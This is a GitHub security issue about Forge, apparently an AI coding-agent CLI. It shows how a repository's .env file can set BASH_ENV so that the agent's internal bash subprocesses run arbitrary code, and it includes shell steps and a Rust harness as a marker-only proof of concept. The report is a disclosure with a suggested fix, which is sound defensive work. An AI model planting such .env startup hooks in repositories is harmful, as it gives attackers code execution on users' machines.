Skip to content

[Security] Project .env can execute arbitrary code through Bash startup hooks #3841

Description

@glmgbj233

Bug Description

Bug Description

Forge automatically loads .env files while walking upward from the process current working directory. The loaded variables remain in Forge's environment and are inherited by every shell subprocess. A repository-controlled .env can therefore set BASH_ENV to a repository-controlled script. When Forge later runs a normal internal Bash command, non-interactive Bash sources that script before executing the requested command.

This gives arbitrary code execution with the Forge user's privileges. It does not require the model to select a shell tool, and the current shell-tool permission check does not cover this path.

The issue is reproducible on the latest main revision tested: 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0 (0.1.0, 2026-08-08). The reproduction uses only a marker file and does not read credentials or make a network request.

Steps to Reproduce

Steps to Reproduce

The following is the end-to-end CLI trigger path. A configured provider is needed to complete the chat request, but the marker-only Rust harness below dynamically verifies the same .env loading and shell-spawn source-to-sink path without contacting an AI provider. Use a disposable directory and ensure BASH_ENV is not already set in the parent environment.

  1. Build Forge from the affected revision:

    git clone https://github.com/tailcallhq/forgecode.git
    cd forgecode
    git checkout 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0
    cargo build --release
  2. Create a disposable repository containing a malicious .env and a marker-only startup script:

    POC_DIR="$(mktemp -d)"
    cat > "$POC_DIR/startup.sh" <<EOF
    printf 'pwned\n' > "$POC_DIR/marker.txt"
    EOF
    printf 'BASH_ENV=%s/startup.sh\n' "$POC_DIR" > "$POC_DIR/.env"
    git -C "$POC_DIR" init
  3. Run the trusted Forge binary with the process current directory set to the disposable repository. With a configured provider, Forge enters the normal chat flow and performs internal shell commands during instruction discovery:

    cd "$POC_DIR"
    env -u BASH_ENV SHELL=/bin/bash /path/to/forgecode/target/release/forge --prompt "hello"
  4. Check the marker:

    cat "$POC_DIR/marker.txt"

    The output is:

    pwned
    

The source-to-sink behavior was dynamically validated without an AI provider by calling Forge's public configuration reader and command executor with this marker-only Rust harness. From the Forge checkout, add poc/env-repro to the root workspace member list and create poc/env-repro/Cargo.toml with:

[package]
name = "forgecode_env_repro"
version = "0.1.0"
edition = "2024"

[dependencies]
anyhow = "1"
tempfile = "3"
tokio = { version = "1", features = ["macros", "rt-multi-thread"] }
forge_config = { path = "../../crates/forge_config" }
forge_app = { path = "../../crates/forge_app" }
forge_domain = { path = "../../crates/forge_domain" }
forge_infra = { path = "../../crates/forge_infra" }

Save the following as poc/env-repro/src/main.rs, then run env -u BASH_ENV cargo run --manifest-path poc/env-repro/Cargo.toml from the Forge checkout:

use anyhow::Context;
use forge_app::CommandInfra;
use forge_config::ForgeConfig;
use forge_domain::Environment;
use forge_infra::{ForgeCommandExecutorService, StdConsoleWriter};
use std::path::PathBuf;
use std::sync::Arc;
use tempfile::TempDir;

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let temp = TempDir::new()?;
    let marker = temp.path().join("marker.txt");
    let startup = temp.path().join("startup.sh");

    std::fs::write(&startup, format!("printf 'pwned\n' > {}\n", marker.display()))?;
    std::fs::write(temp.path().join(".env"), format!("BASH_ENV={}\n", startup.display()))?;

    std::env::set_current_dir(temp.path())?;
    let _config = ForgeConfig::read().context("config read")?;

    let env = Environment {
        os: std::env::consts::OS.to_string(),
        cwd: temp.path().to_path_buf(),
        home: None,
        shell: "/bin/bash".to_string(),
        base_path: temp.path().to_path_buf(),
    };

    let executor = ForgeCommandExecutorService::new(env, Arc::new(StdConsoleWriter::default()));
    executor
        .execute_command("echo ok".to_string(), PathBuf::from(temp.path()), true, None)
        .await?;

    assert_eq!(std::fs::read_to_string(marker)?.trim(), "pwned");
    Ok(())
}

The harness prints or asserts marker_content=pwned. It is run from a temporary directory and does not execute any repository-provided script. I did not use real credentials or run an external network request.

Expected Behavior

Expected Behavior

Project-controlled .env values should not be able to configure interpreter startup behavior for Forge's internal subprocesses without an explicit workspace trust decision. Running Forge in a repository should not execute arbitrary code merely because the repository contains a .env file.

If project .env support is intentional, shell startup variables such as BASH_ENV and ENV should be removed or separately approved before Forge spawns an internal shell. The approval should apply to the final effective environment used for the subprocess.

Actual Behavior

Actual Behavior

ForgeConfig::read() loads .env from the process current directory before the CLI applies the optional -C/--directory value. The resulting BASH_ENV value is inherited by ForgeCommandExecutorService, which starts /bin/bash -c <command> without removing it. Bash sources the referenced script before running the fixed internal command.

In the normal chat flow, Forge invokes shell commands such as git rev-parse --show-toplevel while discovering project instructions. The marker script therefore executes after starting a normal chat and before any model-selected shell tool is involved.

Relevant source locations in the affected revision:

  • crates/forge_config/src/reader.rs:10-30: automatically loads .env files from the process current directory upward.
  • crates/forge_main/src/main.rs:105-108: reads configuration before resolving -C/--directory.
  • crates/forge_infra/src/executor.rs:29-38,57-70,103-106: starts the configured shell with inherited environment using -c.
  • crates/forge_services/src/instructions.rs:49-57: runs git rev-parse --show-toplevel through that executor during instruction discovery.
  • crates/forge_app/src/app.rs:73-80: invokes instruction discovery as part of a normal chat request.

Forge Version

0.1.0, built from source at 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0 (origin/main, 2026-08-08).

Operating System & Version

No response

AI Provider

None

Model

No response

Installation Method

Built from source

Configuration

Metadata

Metadata

Assignees

No one assigned

    Labels

    type: bugSomething isn't working.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions